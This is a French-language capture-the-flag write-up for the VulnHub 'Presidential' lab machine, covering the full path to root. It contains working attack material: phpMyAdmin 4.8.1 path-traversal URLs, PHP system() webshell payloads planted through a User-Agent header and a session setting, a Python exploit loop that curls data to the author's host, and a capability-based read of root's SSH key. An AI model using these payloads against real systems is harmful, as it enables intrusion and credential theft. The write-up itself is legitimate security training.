Accueil Solution du CTF Presidential de VulnHub
Post
Annuler

Solution du CTF Presidential de VulnHub

Campagne

[Presidentialest un CTF de Thomas Williams disponible sur VulnHub.

Le synopsis est le suivant :

The Presidential Elections within the USA are just around the corner (November 2020).

One of the political parties is concerned that the other political party is going to perform electoral fraud by hacking into the registration system, and falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration tester) to test the security of their server in order to alleviate any electoral fraud concerns.

Your goal is to see if you can gain root access to the server – the state is still developing their registration website but has asked you to test their server security before the website and registration system are launched.

Premier tour

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 192.168.56.119
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Ontario Election Services » Vote Now!
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.5.38
2082/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 06:40:f4:e5:8c:ad:1a:e6:86:de:a5:75:d0:a2:ac:80 (RSA)
|   256 e9:e6:3a:83:8e:94:f2:98:dd:3e:70:fb:b9:a3:e3:99 (ECDSA)
|_  256 66:a8:a1:9f:db:d5:ec:4c:0a:9c:4d:53:15:6c:43:6c (ED25519)

J’ai lancé Nuclei sur le site qui a rapidement trouvé un fichier de backup :

1
[2021-12-23 12:15:56] [php-backup-files] [http] [medium] http://192.168.56.119/config.php.bak

Il s’agit d’identifiants pour la base de données :

1
2
3
4
5
6
7
8
<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

Sur la page d’accueil on trouve différents noms ainsi que dans la page about.html trouvée via énumération.

J’en ait fait la wordlist suivante en imaginant des logins associés :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kelly
bowen
hugh
morgan
walter
white
sarah
jhonson
william
anderson
amanda
jepson
kbowen
hmorgan
wwhite
sjhonson
wanderson
ajepson
votenow

Vu que l’énumération web ne ramenait rien j’ai tenté de bruteforcer (rapidement) ces comptes sur le SSH au cas où, sans succès…

A noter qu’à chaque fois on obtenait une erreur de ce type :

1
votebox@192.168.56.119: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

Le login par mot de passe a sans doute été désactivé globalement.

Comme on peut voir un domaine votenow.local dans le code HTML j’ai procédé à des énumérations des hôtes virtuels. Finalement avec une des wordlists quelque chose est ressorti.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w fuzzdb/discovery/dns/alexaTop1mAXFRcommonSubdomains.txt -u http://192.168.56.119/ -H "Host: FUZZ.votenow.local" -fs 11713

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.119/
 :: Wordlist         : FUZZ: fuzzdb/discovery/dns/alexaTop1mAXFRcommonSubdomains.txt
 :: Header           : Host: FUZZ.votenow.local
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 11713
________________________________________________

datasafe                [Status: 200, Size: 9500, Words: 439, Lines: 69]
:: Progress: [50000/50000] :: Job [1/1] :: 2023 req/sec :: Duration: [0:00:15] :: Errors: 0 ::

Ce datasafe.votenow.local nous amène sur une installation de phpMyAdmin. Les identifiants récupérés précédemment permettent de s’y connecter.

Dans une table users on trouve un hash bcrypt (misère) d’un certain admin. Il faut bien 40 minutes pour casser le hash qui correspond au clair Stella (la vitesse de cassage est entre 15 et 20 hashs à la seconde chez moi).

Notre utilisateur SQL votebox ne dispose pas du privilège FILE qui aurait pu nous permettre de poser un webshell sur la machine.

1
2
3
4
5
show grants;

GRANT USAGE ON *.* TO 'votebox'@'%' IDENTIFIED BY PASSWORD '*F8DCB98DA2D0C94434F0A37BFA19CDAB5F1BC5ED'	
GRANT ALL PRIVILEGES ON `votebox`.* TO 'votebox'@'%'	
GRANT ALL PRIVILEGES ON `votebox\_%`.* TO 'votebox'@'%'	

Armé du pass pour admin, on aimerait bien en faire quelque chose mais l’authentification par mot de passe étant bloqué on ne peut pas aller plus loin…

En fait la version du phpMyAdmin est la 4.8.1 qui est vulnérable à une faille d’inclusion locale pouvant amener à de l’exécution de code.

La vulnérabilité nécessite d’être authentifié et ça tombe bien vu que c’est notre cas. L’exploitation se fait de cette façon :

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

L’exploit pour obtenir la RCE poste une requête du type

1
select 'php system($_GET[&quot;cmd&quot;]); ?';

sur /import.php puis il inclut le fichier de cookie présent sur le serveur (qui est nommé d’après la valeur du cookie phpMyAdmin donné lors de la connexion).

L’idée c’est que la requête SQL est stockée dans la session qui est ensuite incluse.

On a donc une requête qui ressemble à ça :

1
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../var/lib/php/sessions/sess_bitno6d2hc3k0vp7dr05turs0o5s3c4k

Et qui aurait dû fonctionner sauf que ça n’a pas été le cas.

J’ai modifié l’exploit pour qu’il tente à la place d’inclure des fichiers d’une wordlist et affiche un extrait du contenu si ça fonctionne.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session_id = cookies.get_dict()['phpMyAdmin']
with open("/opt/hdd/downloads/tools/wordlists/files/LFI-LFISuite-pathtotest.txt") as fd:
    for line in fd:
        logfile = line.strip()
        url3 = url + f"/index.php?target=db_sql.php%253f/../../../../../../../../{logfile}&cmd=curl%20http://192.168.56.1:8000/{logfile}"
        r = requests.get(url3, cookies = cookies)
        soup = BeautifulSoup(r.text, "html.parser")
        data = soup.find("div", id="page_content").get_text(strip=True)
        if not data:
            continue

        print(f"File {logfile} is readable")
        print(data[:20])
        print("")

J’avais des outputs de ce type :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
File /proc/self/cmdline is readable
/usr/sbin/httpd-DFO

File /proc/self/stat is readable
1877 (httpd) R 889 8

File /proc/self/status is readable
Name:   httpd
Umask:  0

File /proc/self/fd/2 is readable
[Sun Dec 26 12:12:01

File /proc/self/fd/6 is readable
192.168.56.1 - - [26

File /proc/self/fd/9 is readable
PMA_token |s:16:"(lX

/proc/self/environ n’est malheureusement pas accessible mais sur /proc/self/fd/6 on a les logs HTTP avec des entrées de ce type :

1
192.168.56.1 - - [26/Dec/2021:12:52:55 +0000] "GET /index.php HTTP/1.1" 200 11414 "-" "python-requests/2.25.1"

Dans la logique il n’y a qu’à faire une requête avec un User-Agent spécial puis réinclure le fichier :

1
curl -A '<?php system($_GET["cmd"]); ?>' http://datasafe.votenow.local/

C’est là où je me suis merdé et ait fermé une porte. Fuck! Il semble que le guillemet a été échappé ce qui causait une erreur de syntaxe à l’inclusion (que je pouvais ensuite voir sur la sortie d’erreur en incluant /proc/self/fd/2).

Dans ces cas là soit on trouve une astuce alternative soit on compte sur la rotation des logs pour corriger notre bétise (on peut attendre des heures, des jours ou éventuellement bourriner de requêtes selon la configuration de logrotate).

Bourriner n’ayant pas fonctionné je me suis penché sur l’inclusion de /proc/self/fd/9 qui correspond vraisemblablement au fichier de session que l’exploit aurait du inclure.

phpMyAdmin contient différentes fonctionnalités de personnalisation et j’ai testé différents réglages avant de croiser un paramètre qui se retrouvait effectivement dans la session.

Finalement le titre de l’interface web est un bon candidat :

VulnHub Presidentials CTF phpMyAdmin title configuration

Le texte est bien présent :

1
2
3
--- snip ---
userconfig|a:2:{s:2:"db";a:3:{s:12:"Console/Mode";s:8:"collapse";s:12:"TitleDefault";s:12:"<thisisdope>";s:14:"Server/hide_db";s:0:"";}s:2:"ts";i:1640526301;}
--- snip ---

Maintenant il s’agit de ne pas se rater. Je modifie cette valeur pour la ligne suivante :

1
dv_start<?php system($_GET[chr(99)]); ?>dv_end

Ce qui me permettra aussi de retrouver facilement mon output.

Cette fois ça fonctionne bien si on passe id; uname -a au paramètre c :

1
2
3
dv_startuid=48(apache) gid=48(apache) groups=48(apache)
Linux votenow.local 3.10.0-1127.13.1.el7.x86_64 #1 SMP Tue Jun 23 15:46:38 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
dv_end

Second tour

Premier réflexe après ces difficultés : écrire un shell.php à la racine du site :)

LinPEAS me remonte pas mal d’exploits possibles : dirtycow, sudo Baron Samedit, RationalLove, overlayfs ainsi que ceux-ci :

1
2
3
4
5
6
7
8
9
10
  [1] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [2] pp_key
      CVE-2016-0728
      Source: http://www.exploit-db.com/exploits/39277
  [3] timeoutpwn
      CVE-2014-0038
      Source: http://www.exploit-db.com/exploits/31346

Mais avant d’en arriver là j’ai remarqué une entrée étrange dans la liste des binaires avec des capabilities :

1
2
3
4
5
6
7
8
Files with capabilities (limited to 50):
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/bin/tarS = cap_dac_read_search+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/suexec = cap_setgid,cap_setuid+ep

Ce tarS a un nom bizarre. Est-ce une copie de la commande tar ? Plus de doute sur son rôle quand on voit le propriétaire du binaire :

1
-rwx------. 1 admin admin 346136 Jun 27  2020 /usr/bin/tarS

D’après une page de manuel, CAP_DAC_READ_SEARCH

Contourne les permissions de lecture de fichiers et celles de lecture et exécution des répertoires.

Il nous faut être admin pour utiliser le programme, ça tombe bien le hash cassé précédemment nous permet de nous connecter via su.

On trouve deux fichiers texte une fois connecté :

1
2
3
4
5
6
[admin@votenow ~]$ cat user.txt 
663ba6a402a57536772c6118e8181570
[admin@votenow ~]$ cat notes.txt 
Reminders:

1) Utilise new commands to backup and compress sensitive files

Merci j’avais pigé ! :p

On peut donc utiliser la capability pour lire ce que l’on souhaite sur le système mais pas écrire malheureusement. On va archiver ce qui est dans le dossier de root :

1
tarS cz /root > root.tar.gz

On y trouve entre autres les fichiers suivants :

1
2
3
4
5
root/root-final-flag.txt
root/.ssh/
root/.ssh/id_rsa
root/.ssh/id_rsa.pub
root/.ssh/authorized_keys

Aucun mot de passe n’étant attaché à la clé privée on peut donc se connecter :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[admin@votenow ~]$ ssh -p 2082 -i root/.ssh/id_rsa root@127.0.0.1
Last login: Sun Jun 28 00:42:56 2020 from 192.168.56.1
[root@votenow ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@votenow ~]# cat root-final-flag.txt 
Congratulations on getting root.

 _._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

This CTF was created by bootlesshacker - https://security.caerdydd.wales

Please visit my blog and provide feedback - I will be glad to hear from you.

Mission accomplie !](https://www.vulnhub.com/entry/presidential-1,500/)

Published December 26 2021 at 16:51

Cet article est sous licence CC BY 4.0 par l'auteur.